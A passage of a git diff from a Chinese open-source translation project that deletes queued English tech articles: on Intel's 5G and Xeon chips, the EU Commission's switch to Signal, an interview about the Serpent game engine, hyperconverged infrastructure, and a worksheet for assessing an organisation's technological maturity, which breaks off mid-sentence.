5G availability, the fact is, true 5G phones are only just coming to market now, and the number of base stations is minimal. 5G has a long ramp ahead. - -The Atom P5900 puts Intel in competition with China's Huawei, which U.S. federal authorities have repeatedly labeled a security risk. Huawei has been barred from several nations, including the U.S., England, Japan, and Australia. However, Huawei also said it has secured more than 90 commercial 5G contracts globally. - -Until now, Ericsson and Nokia have asked developers such as Broadcom to help develop base station chips, while Samsung designs and manufactures its own 5G base station chips. - -**[ [Take this mobile device management course from PluralSight and learn how to secure devices in your company without degrading the user experience.][1] ]** - -### Second Generation Xeon Scalable processors - -Intel's latest launch also includes 18 2nd Gen Xeon Scalable processors; one is branded Bronze, four are Silver, and 13 are Gold. The upgraded lineup targets the entry-level to medium-range market, leaving the Platinum to duke it out with the high end AMD Epyc processors. - -The new processors range from 8 to 28 cores and include a variety of clock speeds that go down as the core count goes up. They have TDP ratings that range from 85 watts for the eight-core, 1.9Ghz Bronze 3206R to 205 watts for the 28-core, 2.7Ghz Gold 6258R. (Intel and other chip makers measure a processor's power draw with a specification called thermal design power, or TDP.) ** -** - -While most of the chips are meant for standard data center use, some processors – including the Xeon Gold 6200U, Silver 4200R, Sliver 4210T and Bronze 3200R – are specifically meant for single-socket, entry-level servers, as well as edge, networking and IoT uses. - -Intel also introduced the Intel Ethernet 700 Network Adapter, which comes with hardware-enhanced precision timing designed specifically for 5G and other scenarios with very low latency and timing requirements. - -Join the Network World communities on [Facebook][2] and [LinkedIn][3] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3529354/intel-takes-aim-at-huawei-5g-market-presence.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fcourses%2Fmobile-device-management-big-picture -[2]: https://www.facebook.com/NetworkWorld/ -[3]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200228 No More WhatsApp- The EU Commission Switches To ‘Signal- For Internal Communication.md b/sources/talk/20200228 No More WhatsApp- The EU Commission Switches To ‘Signal- For Internal Communication.md deleted file mode 100644 index 8b47602a54..0000000000 --- a/sources/talk/20200228 No More WhatsApp- The EU Commission Switches To ‘Signal- For Internal Communication.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (No More WhatsApp! The EU Commission Switches To ‘Signal’ For Internal Communication) -[#]: via: (https://itsfoss.com/eu-commission-switches-to-signal/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -No More WhatsApp! The EU Commission Switches To ‘Signal’ For Internal Communication -====== - -_**In a move to improve the cyber-security, EU has recommended its staff to use open source secure messaging app Signal instead of the popular apps like WhatsApp.**_ - -[Signal is an open source secure messaging application][1] with end to end encryption. It is praised by the likes of [Edward Snowden][2] and other privacy activists, journalists and researchers. We’ve recently covered it in our ‘[open source app of the week][3]‘ series. - -[Signal][4] is in news for good reasons. The European Union Commissions have instructed its staff to use Signal for public instant messaging. - -This is part of EU”s new cybersecurity strategy. There has been cases of data leaks and hacking against EU diplomats and thus policy is being put in place to encourage better security practices. - -### Governments recommending open source technology is a good sign - -![][5] - -No matter what the reason is, Government bodies recommending open-source services for better security is definitely a good thing for the open-source community in general. - -[Politico][6] originally reported this by mentioning that the EU instructed its staff to use Signal as the recommended public instant messaging app: - -> The instruction appeared on internal messaging boards in early February, notifying employees that “Signal has been selected as the recommended application for public instant messaging.” - -The report also mentioned the potential advantage of Signal (which is why the EU is considering using it): - -> “It’s like Facebook’s WhatsApp and Apple’s iMessage but it’s based on an encryption protocol that’s very innovative,” said Bart Preneel, cryptography expert at the University of Leuven. “Because it’s open-source, you can check what’s happening under the hood,” he added. - -Even though they just want to secure their communication or want to prevent high-profile leaks, switching to an open-source solution instead of [WhatsApp][7] sounds good to me. - -### Signal gets a deserving promotion - -Even though Signal is a centralized solution that requires a phone number as of now, it is still a no-nonsense open-source messaging app that you may trust. - -Privacy enthusiasts already know a lot of services (or alternatives) to keep up with the latest security and privacy threats. However, with the EU Commission recommending it to its staff, Signal will get an indirect promotion for common mobile and desktop users. - -### Wrapping Up - -It is still an irony that some Government bodies hate encrypted solutions while opting to use them for their own requirement. - -Nevertheless, it is good progress for open-source services and tech, in general, is recommended as a secure alternative. - -What do you think about the EU’s decision on switching to the Signal app for its internal communication? Feel free to let me know your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/eu-commission-switches-to-signal/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/signal-messaging-app/ -[2]: https://en.wikipedia.org/wiki/Edward_Snowden -[3]: https://itsfoss.com/tag/app-of-the-week/ -[4]: https://www.signal.org/ -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/Signal-eu.jpg?ssl=1 -[6]: https://www.politico.eu/pro/eu-commission-to-staff-switch-to-signal-messaging-app/ -[7]: https://www.whatsapp.com/ diff --git a/sources/talk/20200229 Solus Linux Creator Ikey Doherty Enters the Game Dev Business With a New Open Source Game Engine.md b/sources/talk/20200229 Solus Linux Creator Ikey Doherty Enters the Game Dev Business With a New Open Source Game Engine.md deleted file mode 100644 index a61dfca27f..0000000000 --- a/sources/talk/20200229 Solus Linux Creator Ikey Doherty Enters the Game Dev Business With a New Open Source Game Engine.md +++ /dev/null @@ -1,120 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Solus Linux Creator Ikey Doherty Enters the Game Dev Business With a New Open Source Game Engine) -[#]: via: (https://itsfoss.com/ikey-doherty-serpent-interview/) -[#]: author: (John Paul https://itsfoss.com/author/john/) - -Solus Linux Creator Ikey Doherty Enters the Game Dev Business With a New Open Source Game Engine -====== - -[Ikey Doherty][1], the creator and former lead dev of [Solus][2], is back with a new project. His new company, [Lispy Snake, Ltd][3], uses open source technology to create games, with a focus on Linux support. - -I asked Ikey some questions about his new project. Here are his answers. - -![][4] - -_**It’s FOSS: What made you decide to get into game development?**_ - -**Ikey**: Honestly I would have to say a respect for older games. The creativity that came from so much limitation is frankly amazing. If you think of how limited the NES or C64 were, (or indeed my [Amstrad CPC][5]) – yet how much joy people experienced from those platforms. It’s a buzz I can’t avoid. Even though we’re a long way now from that world, I still look to model that technical excellence and creativity as best I can. I’m a sucker for good stories. - -_**It’s FOSS: There are already several open-source game engines. Why did you decide to make your own? What is Serpent’s killer feature?**_ - -**Ikey**: There are a good number of open and closed source ones, each with a great set of features. However, I’m a pretty old school developer and there is nothing I hate more than an IDE or ‘drag n drop’ codeless environment. I simply wanted to create indie games with the least fuss possible and using a framework where I didn’t have to compromise. Once you get to ‘must work nicely on Linux and be open source’ you’re kinda short on choice. - -I collected a set of projects that I’d use as the foundation for Lispy Snake’s first games, but needed something of a framework to tie them all together, as a reusable codebase across all games and updates. - -I wouldn’t say killer features are present yet – just a set of sensible decisions. Serpent is written in D so it’s highly performant with a lower barrier of entry than say C or C++. It’s allowing me to flesh out a framework that suits my development ideals and pays attention to industry requirements, such as a performant multithreading Entity Component System or the sprite batching system. - -When you rope together all the features and decisions, you get a portable codebase, that thanks to its choice of libraries like SDL and bgfx, will eventually run on all major platforms with minimal effort on our part. That basically means we’re getting OpenGL, DirectX, Vulkan and Metal “for free”. - -Being able to target the latest APIs and create indie games easily, with industry standard features emerging constantly, from a framework that doesn’t impose itself on your workflow…that’s a pretty good combination. - -![][6] - -_**It’s FOSS: Why did you name your company LispySnake? Did you have a pet snake with a speech impediment when you were a kid?**_ - -**Ikey**: Honestly? [Naughty Dog][7] was taken. Gotta love some Bandicoot. Plus, originally we were taking on some Python contracting work and I found the name amusing. It’s pretty much a nonsensical name like many of my previous projects (Like Dave. Or Dave2.) - -_**It’s FOSS: After being an operating system developer for many years, how does it feel to be working on something smaller? Would you say that your time as an OS developer gives you an edge as a game dev?**_ - -**Ikey**: OS dev needs a very high level view constantly, with the ability to context switch from macro to micro and back again. Many, many moving parts in a large ecosystem. - -Serpent is much more task orientated – though similarities in the workflow exist in terms of defining macro systems and interleaving micro features to build a cohesive whole. My background in OS dev is obviously a huge help here. - -Where it especially shines is dealing with the ‘guts’. I think a lot of indie devs (forgive me for being sweeping) are generally happy to just build from an existing kit and either embrace it or workaround the issues. There are some true gems out there like Factorio that go above and beyond and I have to hold my hat to them. - -In terms of building a new kit we get to think, properly, about cache coherency, parallel performance, memory fragmentation, context switching and such. - -Consumers of Serpent (when released in a more stable form) will know that the framework has been designed to leverage Linux features, not just spitting out builds for it. - -![][8] - -_**It’s FOSS: Recently you ported your [Serpent][9] game engine from C to the [D language][10]. Why did you make this move? What features does D have over C?**_ - -**Ikey**: Yeah honestly that was an interesting move. We were originally working on a project called lispysnake2d which was to be a trivial wrapper around SDL to give us a micro-game library. This simply used SDL_Renderer APIs to blit 2D sprites and initially seemed sufficient. Unfortunately as development progressed it was clear we needed a 3D pipeline for 2D, so we could utilize shaders and special effects. At that point SDL_Renderer is no good to you anymore and you need to go with Vulkan or OpenGL. We began abstracting the pipelines and saw the madness ensue. - -After taking a step back, I analyzed all the shortcomings in the approach, and tired of the portability issues that would definitely arise. I’m not talking in terms of libraries, I’m talking about dealing with various filepaths, encodings, Win32 APIs, DirectX vs OpenGL vs Vulkan…etc. Then whack in boilerplate time, C string shortcomings, and the amount of reinventing required to avoid linking to bloated “cross-platform” standard library style libraries. It was a bad picture. - -Having done a lot of [Go][11] development, I started researching alternatives to C that were concurrency-aware, string-sane, and packed with a powerful cross-platform standard library. This is the part where everyone will automatically tell you to use Rust. - -Unfortunately, I’m too stupid to use [Rust][12] because the syntax literally offends my eyes. I don’t get it, and I never will. Rust is a fantastic language and as academic endeavours go, highly successful. Unfortunately, I’m too practically minded and seek comfort in C-style languages, having lived in that world too long. So, D was the best candidate to tick all the boxes, whilst having C & C++ interoptability. - -It took us a while to restore feature parity but now we have a concurrency-friendly framework which is tested with both OpenGL and Vulkan, supports sprite batching and has nice APIs. Plus, much of the reinvention is gone as we’re leveraging all the features of SDL, bgfx and the DLang standard library. Win win. - -![The first game from LispySnake][13] - -_**It’s FOSS: How are you planning to distribute your games?**_ - -**Ikey**: Demo wise we’ll initially only focus on Linux, and it’s looking like we’ll use Flatpak for that. As time goes on, when we’ve introduced support and testing for macOS + Windows, we’ll likely look to the Steam Store. Despite the closed source nature, Valve have been far more friendly and supportive of Linux over the years, whilst the likes of Epic Games have a long history of being highly anti-Linux. So that’s a no go. - -_**It’s FOSS: How can people support and contribute to the development of the Serpent game engine?**_ - -**Ikey**: We have a few different methods, for what it’s worth. The easiest is to [buy a Lifetime License][14] – which is $20. This grants you lifetime access to all of our 2D games and helps fund development of our game titles and Serpent. - -Alternatively, you can [sponsor me directly on GitHub][15] to work on Serpent and upstream where needed. Bit of FOSS love. - -[Support with Lifetime License][16] - -[Sponsor the development on GitHub][15] - -* * * - -I would like to thank Ikey for taking the time to answer my questions about his latest project. - -Have any of you created a game with open source tools? If so, what tools and how was the experience? Please let us know in the comments below. - -If you found this article interesting, please take a minute to share it on social media, Hacker News or [Reddit][17]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/ikey-doherty-serpent-interview/ - -作者:[John Paul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://twitter.com/ikey_doherty -[2]: https://getsol.us/home/ -[3]: https://lispysnake.com/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/ikey_doherty_serpent_interview.png?ssl=1 -[5]: https://en.wikipedia.org/wiki/Amstrad_CPC -[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/lipsy_snake_screenshot.png?ssl=1 -[7]: https://www.naughtydog.com/ -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/lipsy_snake.png?ssl=1 -[9]: https://github.com/lispysnake/serpent -[10]: https://dlang.org/ -[11]: https://golang.org/ -[12]: https://www.rust-lang.org/ -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/02/last_peacekeeper_game.png?ssl=1 -[14]: https://lispysnake.com/the-game-raiser/ -[15]: https://github.com/sponsors/ikeycode -[16]: https://lispysnake.com/the-game-raiser -[17]: https://reddit.com/r/linuxusersgroup diff --git a/sources/talk/20200302 8 reasons to consider hyperconverged infrastructure for your data center.md b/sources/talk/20200302 8 reasons to consider hyperconverged infrastructure for your data center.md deleted file mode 100644 index 10b1e0575d..0000000000 --- a/sources/talk/20200302 8 reasons to consider hyperconverged infrastructure for your data center.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (8 reasons to consider hyperconverged infrastructure for your data center) -[#]: via: (https://www.networkworld.com/article/3530072/eight-reasons-to-consider-hyperconverged-infrastructure-for-your-data-center.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -8 reasons to consider hyperconverged infrastructure for your data center -====== - -Thinkstock - -Demand for on-premises data center equipment is shrinking as organizations move workloads to the cloud. But on-prem is far from dead, and one segment that’s thriving is hyperconverged infrastructure ([HCI][1]). - -HCI is a form of scale-out, software-integrated infrastructure that applies a modular approach to compute, network and storage capacity. Rather than silos with specialized hardware, HCI leverages distributed, horizontal blocks of commodity hardware and delivers a single-pane dashboard for reporting and management. Form factors vary: Enterprises can choose to deploy hardware-agnostic [hyperconvergence software][2] from vendors such as Nutanix and VMware, or an integrated HCI appliance from vendors such as HP Enterprise, Dell, Cisco, and Lenovo. - -**Learn more about enterprise infrastructure trends** - - * [Making the right hyperconvergence choice: HCI hardware or software?][3] - * [10 of the world's fastest supercomputers][4] - * [NVMe over Fabrics creates data-center storage disruption][5] - * [For enterprise storage, persistent memory is here to stay][6] - - - -The market is growing fast. By 2023, Gartner projects 70% of enterprises will be running some form of hyperconverged infrastructure, up from less than 30% in 2019. And as HCI grows in popularity, cloud providers such as Amazon, Google and Microsoft are providing connections to on-prem HCI products for hybrid deployment and management. - -So why is it so popular? Here are some of the top reasons. - -### 1) Simplified design - -A traditional data center design is comprised of separate storage silos with individual tiers of servers and specialized networking spanning the compute and storage silos. This worked in the pre-cloud era, but it’s too rigid for the cloud era. “It’s untenable for IT teams to take weeks or months to provision new infrastructure so the dev team can produce new apps and get to market quickly,” says Greg Smith, vice president of product marketing at Nutanix. - -“HCI radically simplifies data center architectures and operations, reducing the time and expense of managing data and delivering apps,” he says. - -### 2) Cloud integration - -HCI software, such as from Nutanix or VMware, is deployed the same way in both a customer’s data center and cloud instances; it runs on bare metal instances in the cloud exactly the same as it does in a data center. HCI “is the best foundation for companies that want to build a hybrid cloud. They can deploy apps in their data center and meld it with a public cloud,” Smith says. - -[][7] - -“Because it’s the same on both ends, I can have one team manage an end-to-end hybrid cloud and with confidence that whatever apps run in my private cloud will also run in that public cloud environment,” he adds. - -### 3) Ability to start small, grow large - -“HCI allows you to consolidate compute, network, and storage into one box, and grow this solution quickly and easily without a lot of downtime,” says Tom Lockhart, IT systems manager with Hastings Prince Edward Public Health in Bellville, Ontario, Canada. - -In a legacy approach, multiple pieces of hardware – a server, Fiber Channel switch, host-based adapters, and a hypervisor – have to be installed and configured separately. With hyperconvergence, everything is software-defined. HCI uses the storage in the server, and the software almost entirely auto-configures and detects the hardware, setting up the connections between compute, storage, and networking. - -“Once we get in on a workload, [customers] typically have a pretty good experience. A few months later, they try another workload, then another, and they start to extend it out of their data center to remote sites,” says Chad Dunn, vice president of product management for HCI at Dell. - -“They can start small and grow incrementally larger but also have a consistent operating model experience, whether they have 1,000 nodes or three nodes per site across 1,000 sites, whether they have 40 terabytes of data or 40 petabytes. They have consistent software updates where they don’t have to retrain their people because it’s the same toolset,” Dunn added. - -### 4) Reduced footprint - -By starting small, customers find they can reduce their hardware stack to just what they need, rather than overprovision excessive capacity. Moving away from the siloed approach also allows users to eliminate certain hardware. - -Josh Goodall, automation engineer with steel fabricator USS-POSCO Industries, says his firm deployed HCI primarily for its ability to do stretched clusters, where the hardware cluster is in two physical locations but linked together. This is primarily for use as a backup, so if one site went down, the other can take over the workload. In the process, though, USS-POSCO got rid of a lot of expensive hardware and software. “We eliminated several CPU [software] licenses, we eliminated the SAN from other site, we didn’t need SRM [site recovery management] software, and we didn’t need Commvault licensing. We saved between $25,000 and $30,000 on annual license renewals,” Goodall says. - -### 5) No special skills needed - -To run a traditional three-tiered environment, companies need specialists in compute, storage, and networking. With HCI, a company can manage its environment with general technology consultants and staff rather than the more expensive specialists. - -“HCI has empowered the storage generalist,” Smith says. “You don’t have to hire a storage expert, a network expert. Everyone has to have infrastructure, but they made the actual maintenance of infrastructure a lot easier than under a typical scenario, where a deep level of expertise is needed to manage under those three skill sets.” - -Lockhart of Hastings Prince Edward Public Health says adding new compute/storage/networking is also much faster when compared to traditional infrastructure. “An upgrade to our server cluster was 20 minutes with no down time, versus hours of downtime with an interruption in service using the traditional method,” he says. - -“Instead of concentrating on infrastructure, you can expand the amount of time and resources you spend on workloads, which adds value to your business. When you don’t have to worry about infrastructure, you can spend more time on things that add value to your clients,” Lockhart adds. - -### 6) Faster disaster recovery - -Key elements of hyperconvergence products are their backup, recovery, data protection, and data deduplication capabilities, plus analytics to examine it all. Disaster recovery components are managed from a single dashboard, and HCI monitors not only the on-premises storage but also cloud storage resources. With deduplication, compression rates as high as 55:1, and backups can be done in minutes. - -USS-POSCO Industries is an HP Enterprise shop and uses HPE’s SimpliVity HCI software, which includes dedupe, backup, and recovery. Goodall says he gets about 12-15:1 compression on mixed workloads, and that has eliminated the need for third-party backup software. - -More importantly, recovery timeframes have dropped. “The best recent example is a Windows update messed up a manufacturing line, and the error wasn’t realized for a few weeks. In about 30 minutes, I rolled through four weeks of backups, updated the system, rebooted and tested a 350GB system. Restoring just one backup would have been a multi-hour process,” Goodall says. - -### 7) Hyperconvergence analytics - -HCI products come with a considerable amount of analytics software to monitor workloads and find resource constraints. The monitoring software is consolidated into a single dashboard view of system performance, including negatively impacted performance. - -Hastings recently had a problem with a Windows 7 migration, but the HCI model made it easy to get performance info. “It showed that workloads, depending on time of day, were running out of memory, and there was excessive CPU queuing and paging,” Lockhart says. “We had the entire [issue] written up in an hour. It was easy to determine where problems lie. It can take a lot longer without that single-pane-of-glass view.” - -### 8) Less time managing network, storage resources - -Goodall says he used to spend up to 50% of his time dealing with storage issues and backup matrixes. Now he spends maybe 20% of his time dealing with it and most of his time tackling and addressing legacy systems. And his apps are better performing under HCI. “We’ve had no issues with our SQL databases; if anything, we’ve seen huge performance gain due to the move to full SSDs [instead of hard disks] and the data dedupe, reducing reads and writes in the environment.” - -Join the Network World communities on [Facebook][8] and [LinkedIn][9] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3530072/eight-reasons-to-consider-hyperconverged-infrastructure-for-your-data-center.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3207567/what-is-hyperconvergence.html?nsdr=true -[2]: https://www.networkworld.com/article/3318683/making-the-right-hyperconvergence-choice-hci-hardware-or-software.html -[3]: https://www.networkworld.com/article/3318683/making-the-right-hyperconvergence-choice-hci-hardware-or-software -[4]: https://www.networkworld.com/article/3236875/embargo-10-of-the-worlds-fastest-supercomputers.html#slide1 -[5]: https://www.networkworld.com/article/3394296/nvme-over-fabrics-creates-data-center-storage-disruption.html -[6]: https://www.networkworld.com/article/3398988/for-enterprise-storage-persistent-memory-is-here-to-stay.html -[7]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[8]: https://www.facebook.com/NetworkWorld/ -[9]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200303 How to assess your organization-s technological maturity.md b/sources/talk/20200303 How to assess your organization-s technological maturity.md deleted file mode 100644 index 75c3cda6ff..0000000000 --- a/sources/talk/20200303 How to assess your organization-s technological maturity.md +++ /dev/null @@ -1,173 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to assess your organization's technological maturity) -[#]: via: (https://opensource.com/open-organization/20/3/communication-technology-worksheet) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -How to assess your organization's technological maturity -====== -Implementing new communications technologies can make your organization -more open. Use this worksheet to determine whether your organization—and -its people—are prepared. -![Someone wearing a hardhat and carrying code ][1] - -New communication technologies can promote and improve [open organizational principles and practices][2]—both within a company and between customers and strategic partners, leading to greater sales and business opportunities. - -Previously, I've discussed how companies adopting new communication technologies tend to [fall into four basic categories][3] of investment and utilization. In this article, I'll demonstrate how someone might assess an organization's level of preparedness for technological innovations and the cultural changes it requires. - -### Becoming a superstar - -For the purpose of this exercise, imagine you're a salesperson working for a company that provides communication or information technology solutions to companies that need advanced information systems and would benefit by becoming "[communication superstars][3]." You'll likely want to impress upon your customers the benefits of becoming this type of user—benefits such as: - - * Enhanced customer interaction: When _our_ customers' salespeople visit _their_ customers, they'll need to make the best impression they can to build some level of trust. Therefore—before offering any product—a salesperson must get a customer talking about his situation in order to discover his particular needs, concerns, and opportunities for growth. When the customer asks the salesperson questions about what he can do to address these issues, imagine our customer's salespeople being able to answer him in seconds with detailed information, instead of making the customer wait for hours, day, or even weeks for the answers. Such technologies can increase one's capacity to make proposals, lead to faster and wiser purchasing decisions, and maximize salesperson-customer interactions—all extremely important benefits. - * Better operations: In manufacturing especially, production bottlenecks can be a drain on in-process inventory costs, and alleviating those bottlenecks is critical. Knowing _exactly_ the situation (in-process inventory levels and processing speed, for example) of _every_ stage of a production line in real time can greatly [improve productivity][4]. - * Development of new business strategies: With new communication technology expertise, a company could open up new markets and opportunities that would have historically been out of its reach. - - - -### **Let's do some research** - -Armed with knowledge of those benefits, again imagine you're a salesperson at an enterprise communication or information technology company. You meet a potential customer at an exhibition or business summit, and she describes the following situation to you: - -> "I'm the Operations Manager of a small, local transportation company that makes deliveries within and between several of the surrounding cities. We have a fleet of 30 trucks, all of various sizes and makes. I know the company's information system must to be improved; much of our communication is done through email attachments, texting, and mobile phone calls. We have no central information operating system." - -A large, public, national trucking company has set up in her area. She's studied this competitor and read several of its news releases and annual reports. She's learned the company has a centralized communications system, and that all its trucks have tracking technologies that monitor the location of every truck in operation. Trucks also feature sensors that monitor many vehicle operations, including average and specific engine RPM per route by vehicle and driver, and miles travelled in particular conditions (to determine fuel economy and maintenance schedules). An electronic parts delivery system connects this company's service operations with a network of dealers to reduce the time service technicians must wait for parts. - -This is what the small local trucking company must compete against. So its operations manager asks you, the IT company salesperson, what you can do to help. - -You decide that your first step is to conduct a survey to learn more about both the company's current communication technology system and the personnel's attitude toward this system in order to see what _could_ and _should_ be done to improve the situation. While there, you want to learn this trucking company's IT status _before_ making any recommendations. - -I've created a worksheet you might use to facilitate this conversation. - -### Taking the temperature - -The first part of the worksheet can help you develop a baseline assessment of an organization's readiness for technological change. - -#### Part 1: Baseline maturity relative to competitors - -Generally, if the customer scores between 10 and 42, then that customer needs more assistance adopting new communication technology, but this varies by industry. If the score is between 43 and 70, then (when compared to competitors the customer is likely already mature in its use of communication technologies. - -#### Part 2: Leaders' relationship to communication technologies - -Next, you need to assess the company leadership's relationship to technologies, associated processes, and cultural changes. So let's make those calculations in Part 2 of the worksheet. - -Here again, depending on the competitive environment, if the score is between 10 and 42, then the company is generally _not_ completely utilizing the communication technology it has. If the score is between 43 and 70, then generally the company puts the communication technology it has to good, creative use. - -Organizational leaders must lead the conversation about using more advanced communication systems in the organization. Therefore management must establish training programs to teach everyone in the organization the skills required to _use_ that technology (a step often forgotten or poorly implemented). - -#### Part 3: Awareness of challenges and opportunities - -We now need to help the organization think more strategically about its use of communication technologies to implement open processes and open culture. We'll do this with Part 3 of the worksheet. - -If an organization scores higher than 15, the company understands the communication technology landscape fairly well. If the score is between 9 and 15, the organization needs to isolate its weakest areas and remedy them. A score of less than 9 indicates that the organization should consider conducting new awareness exercises and/or communication technology discovery programs. - -#### Part 4: Technological mastery relative to competitors - -Next, we need to better understand the trucking company's current strategic assets and its level of technological mastery relative to competitors. We'll do that with Part 4 of the worksheet. - -An organization that scores above 16 in this section likely knows where it stands and what its innovation trajectory is in comparison to competitors. A score of 7 to 16 means the organization needs to build alignment around a viable renewal path. A score of less than 7 might mean the organization should conduct a communication technology maturity assessment and update its best practices. - -#### Part 5: Ability to articulate technological vision - -Now let's explore how well the organization's senior leaders can articulate a vision for the role communication technology will play in the company's future. That's Part 5 of the worksheet. - -If the organization scores over 24, then its members likely believe its executives are aligned on a technological vision (and are considering competitors). A score of 14 to 24 should prompt us to isolate the root causes of the concerns and work with the team to remedy them. Anything less than 14 should spur a structured senior executive alignment initiative. - -Questions like these can clarify the extent to which employees must be involved in communication technology investment decision-making and utilization. Front-line members typically know what's necessary, what's available, and what the organization should introduce. - -### From vision to action - -I've seen first-hand that in situations like these, purchasing technologies is only half the problem. Getting people to buy into the system and use it to full capacity are far bigger challenges. - -In this section, we'll assess the organization's ability to translate technological vision into action. - -#### Part 6: Ability to translate vision to action - -First, let's see how the company is currently converting its vision into an action plan relative to competitors. We'll return to the worksheet, specifically Part 6. - -A company scoring more than 17 points likely has a robust plan and evaluation system in place, and is focused on engaging people in executing technological adoption efforts relative to competitors. Organizations scoring 7 to 17 should review the action plan and milestone checklist weekly for content and alignment. Those scoring less than 7 should conduct a full review of its milestone checklist and action plan processes. - -#### Part 7: Supervision strategies - -Few plans succeed without proper supervision, so you'll want to assess the organization's plans to oversee change management efforts. We'll use the trusty worksheet—this time, Part 7. - -Did the company score something greater than 15? Then its supervision model is in good shape. Maybe 8 to 15? It should check its governance principles and/or program leadership. Less than 8? Time to rework (or design for the first time) its supervision principles. - -#### Part 8: Funding strategy for implementation - -Of course, organizational initiatives like these require funding. So you'll want to assess the organization's financial commitment to technological change. Once again, let's use our worksheet (Part 8 this time). - -Scoring more than 16 points means the company's funding for new communication technologies is strong. Scoring 8 to 16 means the company should work to ensure that the company portfolio, funding, and business strategy are better aligned. Anything less than 8 means company needs to rework its investment and funding strategy for new technologies. - -#### Part 9: Clarity and promotion of vision - -Organizational leaders should constantly be clarifying and advocating plans to adopt new technologies. How are they doing? Let's review Part 9 of our worksheet. - -If the company scores over 17, then it's likely doing a good job of marketing its ambitions. If it scores somewhere between 7 and 17, it should isolate dimensions of its messaging that need refinement and work with the team to remedy them. If it scores less than 7, it should consider developing a specific program to convey the company's ambition more broadly. - -#### Part 10: Ability to build and sustain engagement - -Changes to technological systems and processes don't happen automatically. People need to invest in them, and leaders need to sustain their engagement in the organizational changes. Not everyone will buy in (as I've [written previously][5]). We can assess how well the organization is doing this with Part 10 of the worksheet. - -A score over 23 indicates that the company is doing a good job building momentum while introducing communication technologies. A score of 12 to 23 means that organization might need to isolate some part of the process that's not proceeding satisfactorily and remedy that component. Less than 12? The company needs to design and conduct a full engagement program. - -### Organizational considerations - -This final section assesses specific _organizational_ capacities—that is, the organization's culture, its structure, and its processes. Becoming more open by adopting new communication technologies is only possible if the organization itself is flexible and willing to change. - -#### Part 11: Organizational culture - -Is the organizational environment amenable to the kinds of changes necessary for effectively adopting new communication activities? We'll assess that in Part 11 of our worksheet. - -An organization scoring more than 16 points is already shifting its organizational behaviors and culture ahead of competitors. One scoring between 7 and 16 points should investigate root causes of concerns about cultural changes and work with the team to remedy problems. An organization scoring less than 7 should begin working to shift its culture around communication practices and expectations. - -#### Part 12: Organizational structure - -Does the organization's current structure allow it to sustain communication technology innovations? Use Part 12 of the worksheet to gather an initial impression. - -Scoring over 16 means the company possesses the basic structural capabilities necessary for sustained, steady, technical changes. Scoring between 8 and 16 means the company has only begun implementing projects aimed at developing necessary structural capabilities, but more effort is needed. And a score of less than 8 indicates that the company needs to consider specific programs for improving basic structural capabilities. - -#### Part 13: Reward and incentive structures - -Are the organization's reward and incentive structures aligned with the organization's goals for introducing and adopting new communication technologies? Let's look at the worksheet one last time. - -A score over 14 indicates that the company's current reward structures are aligned with its communication technology objectives. A score between 6 and 14 tells us that the organization should build stronger consensus around a viable reward strategy aligned to communication technology renewal. And a score of less than 6 should prompt leadership to implement specific reward structures that accomplish its communication technology adoption goals. - -### Post-survey debrief - -After collecting those data, you're now in a position to ask how your information technology company can help your potential customer in four areas: - - 1. Data gathering and 